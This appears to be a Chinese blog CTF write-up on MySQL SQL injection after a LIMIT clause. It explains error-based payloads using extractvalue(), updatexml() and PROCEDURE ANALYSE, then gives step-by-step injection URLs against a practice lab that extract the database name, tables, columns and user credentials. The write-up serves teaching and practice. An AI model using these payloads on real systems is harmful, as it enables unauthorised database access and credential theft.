关于limit注入(记一次sql注入)


关于limit注入(记一次sql注入)


1.函数解释
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
1)extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。
  XML是一种标记语言,类似于html。
  payloaod:
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
0x7e代表十六进制也就是ascll字符~。
extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。
2)UpdateXML():
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
执行一下报错payload:
and updatexml(1,concat(null,(select @@version),null),1);
updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。
concat()函数的作用是将null version null 连接起来;
函数报错的话会直接把数据库的版本爆出来,即函数的第二个参数,而函数的第二个参数就是concat(null,(select @@version),null),函数concat()的作用只不过是以另一种形式来爆出错误信息,而错误信息就是我们需要的数据版本信息。
3)procedure analyse():
例子:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入点】;
关于注入点:所谓的注入点就是在原数据库中的MySQL语句中存在的一个点,这个点插入一句话,可以进行sql查询。例如 select username from user where id=“id” ;此时的id就可能为一个注入点,所以我们在进行注入的时候可以用单引号闭合进行注入。
mysql 中在order by 前面可以使用union 关键字,所以如果注入点前面没有order by 关键字,就可以顺利的使用union 关键字,但是现在的情况是,注入点前面有order by 关键字。我们来看一下MySQL中的select语法:
(limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc))。
关于procedure analyse():
是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型。总的来说就是这个函数在对字段进行优化的时候会给出一些建议。我们在这个函数中套用extractvalue()函数,根据此函数的注入原理进行注入。从而解决了注入点之前有order by 关键字而无法进行union注入。所以我们在注入点之后也就是说limit之后进行procedure analyse()函数注入。

                                 有了以上的函数基础和解析,我们再来看一道题。

在这里插入图片描述题目地址

根据题目可知limit之后存在注入点,因此我们可以用以上函数进行注入。

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0    procedure  analyse(extractvalue(rand(),concat(0x3a,version())),2)--+&num=1
#在许多wp中语句结束的时候也就是&num=1之前存在一个%23,后来用编码工具进行解码发现是MySQL中的注释符号,但是我试了一下不太好用不能爆出数据库版本,于是改用了--+,最后成功了。这里不知道为啥,还是请大佬指点一下。
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),2)--+&num=1
#爆出数据库
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20distinct%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1))),1)--+&num=1
#根据回显信息我们爆出了article表,我们尝试limit 1,1看看能爆出什么表,经过测试之后我们爆出来user表。
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20distinct%20column_name%20%20from%20information_schema.columns%20%20where%20table_name=0x75736572%20limit%200,1))),1)--+&num=1
#我们在此爆出了user表下的id列,我们再用limit 1,1,以此类推我们爆出了四个字段id,username,password,lastloginIP。
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20distinct%20concat(0x7e,username,0x7e,password,0x7e)%20from%20user%20limit%202,1))),1)--+&num=1
#同样我们依次类推爆出flag

在这里插入图片描述注意:
1)我们在爆出表,列的时候可能会遇到一下情况:

在我们查询的数据库之前的单引号竟然被转义了。因此我们可以把数据库的名字用十六进制来表示。即table_schema=user的十六进制。
2)这里再次介绍一下了select distinct语句:
在表中,可能会包含重复值。这并不成问题,不过,有时您也许希望仅仅列出不同(distinct)的值。关键词 DISTINCT 用于返回唯一不同的值。

猜你喜欢

转载自blog.csdn.net/weixin_43803070/article/details/89600538